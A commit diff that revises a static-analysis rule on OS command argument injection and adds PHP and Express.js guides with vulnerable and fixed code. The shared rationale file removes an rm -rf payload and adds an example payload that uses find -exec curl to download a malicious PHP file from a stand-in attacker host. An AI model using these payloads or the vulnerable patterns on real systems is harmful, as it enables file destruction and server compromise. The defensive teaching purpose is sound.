Modify rule S5883: Update text to education framework structure(PHP,JS,Python)[APPSEC-187] (#1342)

rules/S5883/common/fix/code-rationale.adoc

@@ -1,14 +1,16 @@
 The following code uses the `find` command and expects the user to enter the
 name of a file to find on the system.
 
-It is vulnerable to arguments injection because untrusted data is inserted
-directly into the arguments of a process call without sanitization. +
-The application assumes that incoming data always consists of a specific range
-of characters and ignores that some characters might force the `find` command
-to start a shell.
+It is vulnerable to argument injection because untrusted data is
+inserted in the arguments of a process call without prior validation or
+sanitization. +
+Here, the application ignores that a user-submitted parameter might contain
+special characters that will tamper with the expected system command behavior.
 
-In this particular case, an attacker may remove files in `/some/folder` with the following string:
+In this particular case, an attacker might add arbitrary arguments to the `find`
+command for malicious purposes. For example, the following payload will download
+malicious software on the application's hosting server.
 
 ----
-'*' -exec rm -rf {} \; 
+ -exec curl -o /var/www/html/ http://evil.example.org/malicious.php ;
 ----

rules/S5883/javascript/how-to-fix-it/express.adoc

@@ -0,0 +1,52 @@
+=== How to fix it in Express.js
+
+include::../../common/fix/code-rationale.adoc[]
+
+==== Noncompliant code example
+
+[source,javascript,diff-id=1,diff-type=noncompliant]
+----
+async function (req, res) {
+    await execa.command('find /tmp/images/' + req.query.id); // Noncompliant
+}
+----
+
+==== Compliant solution
+
+[source,javascript,diff-id=1,diff-type=compliant]
+----
+async function (req, res) {
+    if (req.query.file && req.query.file.match(/^[A-Z]+$/i)) {
+        await execa('find', ['/tmp/images/' + req.query.file]);
+    } else {
+        await execa('find', ['/tmp/images/']);
+    }
+}
+----
+
+=== How does this work?
+
+include::../../common/fix/introduction.adoc[]
+
+When this is not possible, strict measures should be applied to ensure a secure
+implementation.
+
+The proposed compliant solution makes use of the `execa` method. This one
+separates the command to run from the arguments passed to it. It also ensures
+that all arguments passed to the executed command are properly escaped. That way,
+an attacker with control over a command parameter will not be able to inject
+arbitrary new ones. 
+
+While this reduces the chances for an attacker to identify an exploitation
+payload, the highest security level will only be reached by adding an additional
+validation layer.
+
+In the current example, an attacker with control over the first parameter of the
+`find` command could still be able to inject special file path characters in it.
+Indeed, passing `../../` string as a parameter would force the `find` command to
+crawl the whole file system. This could lead to a denial of service or sensitive
+data exposure.
+
+Here, adding a regular-expression-based validation on the user-controled value
+prevents this kind of issue. It ensures that the user-submitted parameter
+contains a harmless value.

rules/S5883/javascript/metadata.json

@@ -0,0 +1,3 @@
+{
+  
+}

rules/S5883/javascript/rule.adoc

@@ -0,0 +1,28 @@
+
+== Why is this an issue?
+
+include::../rationale.adoc[]
+
+include::../impact.adoc[]
+
+== How to fix it?
+
+include::how-to-fix-it/express.adoc[]
+
+== Resources
+
+include::../common/resources/docs.adoc[]
+
+include::../common/resources/standards.adoc[]
+
+ifdef::env-github,rspecator-view[]
+
+'''
+== Implementation Specification
+(visible only on this page)
+
+include::../message.adoc[]
+
+'''
+endif::env-github,rspecator-view[]
+

rules/S5883/php/how-to-fix-it/core.adoc

@@ -0,0 +1,68 @@
+=== How to fix it in Core PHP
+
+
+include::../../common/fix/code-rationale.adoc[]
+
+Other standard PHP functions are susceptible to the same vulnerable behavior.
+Especially, the `mail` function accepts, as its fifth argument, parameters that
+will be appended to the configured mail-sending program command line. This might
+lead to a similar exploitation scenario.
+
+==== Non-compliant code example
+
+[source,php,diff-id=1,diff-type=noncompliant]
+----
+$arg=$_GET['file'];
+echo "<h1>File search results:</h1><br/>";
+$cmd=escapeshellcmd('find /tmp/images -iname ' . $arg);
+passthru($cmd);
+----
+
+[source,php,diff-id=2,diff-type=noncompliant]
+----
+$arg=$_GET['arg'];
+echo "<h1>Sending test mail.</h1><br/>";
+mail("mail@example.org", "example subject", "Example", [], $arg);
+----
+
+==== Compliant solution
+
+[source,php,diff-id=1,diff-type=compliant]
+----
+$arg=$_GET['file'];
+echo "<h1>File search results:</h1><br/>";
+$cmd='find /tmp/images -iname ' . escapeshellarg($arg);
+passthru($cmd);
+----
+
+[source,php,diff-id=2,diff-type=compliant]
+----
+$arg=$_GET['arg'];
+echo "<h1>Sending test mail.</h1><br/>";
+
+$allowed_args_mapping = ["-n","-v"];
+if (! in_array($arg, $allowed_args_mapping, true)) {
+	$arg = "";
+}
+mail("mail@example.org", "example subject", "Example", [], $arg);
+----
+
+=== How does this work?
+
+include::../../common/fix/introduction.adoc[]
+
+When building a system command from user-submitted data is unavoidable, using
+the `escapeshellarg` sanitizing function should be preferred. It ensures that
+the provided data will be considered a single argument and prevents the
+injection of subsequent ones.
+
+It is also important not to combine both `escapeshellarg` and `escapeshellcmd`.
+Indeed, a call to `escapeshellcmd` on a complete command line will void any
+escaping previously added with `escapeshellarg`.
+
+Therefore, it is impossible to prevent an argument injection issue in the
+`mail` function with `escapeshellarg`. Indeed, `mail` internally relies on
+`escapeshellcmd` for escaping purposes. In that case, an allowlist of
+explicitly trusted additional arguments should be used.
+
+

rules/S5883/php/metadata.json

@@ -0,0 +1,3 @@
+{
+  
+}

rules/S5883/php/rule.adoc

@@ -0,0 +1,29 @@
+
+== Why is this an issue?
+
+include::../rationale.adoc[]
+
+include::../impact.adoc[]
+
+== How to fix it?
+
+include::how-to-fix-it/core.adoc[]
+
+== Resources
+
+include::../common/resources/docs.adoc[]
+* https://blog.sonarsource.com/roundcube-command-execution-via-email/[Roundcube 1.2.2: Command Execution via Email]
+
+include::../common/resources/standards.adoc[]
+
+ifdef::env-github,rspecator-view[]
+
+'''
+== Implementation Specification
+(visible only on this page)
+
+include::../message.adoc[]
+
+'''
+endif::env-github,rspecator-view[]
+